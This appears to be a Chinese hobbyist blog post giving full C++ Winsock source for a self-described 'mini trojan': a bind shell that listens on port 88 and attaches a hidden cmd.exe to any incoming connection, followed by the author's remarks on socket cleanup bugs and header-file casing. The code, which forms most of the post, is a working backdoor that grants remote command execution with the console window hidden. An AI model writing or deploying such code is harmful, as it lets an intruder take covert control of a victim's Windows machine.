#include "iostream" #include "WinSock2.h" #include "windows.h" #pragma comment(lib,"WS2_32.LIB") using namespace std; int main() { //////////////////////////////////////////////////////////////////////////定义 SOCKET Ssocket,Csocket; WSADATA wsa; int sockaddlen; PROCESS_INFORMATION processinfo; STARTUPINFO startupinfo; char szCMD[256]; sockaddr_in addr; //////////////////////////////////////////////////////////////////////////初始化 ZeroMemory(&processinfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&startupinfo,sizeof(STARTUPINFO)); ZeroMemory(&wsa,sizeof(WSADATA)); GetEnvironmentVariable("COMSPEC",szCMD,sizeof(szCMD)); WSAStartup(0x0202,&wsa); addr.sin_family=AF_INET; addr.sin_addr.s_addr=INADDR_ANY; addr.sin_port=htons(88); //Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //Csocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //////////////////////////////////////////////////////////////////////////创建连接 if (bind(Csocket,(SOCKADDR *)&addr,sizeof(addr))!=SOCKET_ERROR) { cout<<"绑定成功"<<endl; if (listen(Csocket,1)!=SOCKET_ERROR) { cout<<"监听成功"<<endl; sockaddlen=sizeof(addr); Ssocket=accept(Csocket,(sockaddr *)&addr,&sockaddlen); startupinfo.cb=sizeof(STARTUPINFO); startupinfo.wShowWindow=SW_HIDE; startupinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; startupinfo.hStdError=(HANDLE)Ssocket; startupinfo.hStdInput=(HANDLE)Ssocket; startupinfo.hStdOutput=(HANDLE)Ssocket; CreateProcess(NULL,szCMD,NULL,NULL,TRUE,0,NULL,NULL,&startupinfo,&processinfo); WaitForSingleObject(processinfo.hProcess,INFINITE); CloseHandle(processinfo.hProcess); CloseHandle(processinfo.hThread); } closesocket(Csocket); closesocket(Ssocket); } return 0; }
今天无聊,写了个mini木马玩,结尾没写CloseHandle()和closesocket(),像我一向不怎么写这个东东的,回收啊,之类的,可是运行了几遍之后,bind()和listen()始终都无法成功了,代码没错,起初,我以为是编译器的问题,我清楚后重新生成,发现,还是不行,最后不得不用重启计算机才得以正常,最后发现,就是没有写关闭和回收机制导致的,加了CloseHandle()和closesocket()后,运行了十几遍,都很OK,还有一个点,我超级不明白的。。。感觉头文件的大小写一向来说都是不太重要的,结果今天就让我遇到了这个奇葩的问题,#include"winsock2.h"和#include"WinSock2.h"基本上就是一样的吧,一般都是直接用小写,切换大小写浪费时间啊,但是这次的程序超级蛋疼,我开始的时候2写丢了,写的头文件是
#include“winsock.h”,因为这个头文件是存在的,跟2也有差不多的功能,编译的时候就报错,说WSASocket()是未声明的标识符,也就是这个函数没有头文件,我就郁闷了,最后看见了,是头文件少个2,可是当我加了个2,我被吓到了,66个错误,都是各种函数是未声明标识符,比如什么,bind啊,listen啊,accpet啊。。。。。。我就纳闷了,纠结了半个多小时,一直以为是编译器问题,最后偶然的动作,改成了WinSock2.h,世界和平了。。。程序正常了。。。上网看了下,规范的写法就是这样,这就是不规范害死人啊。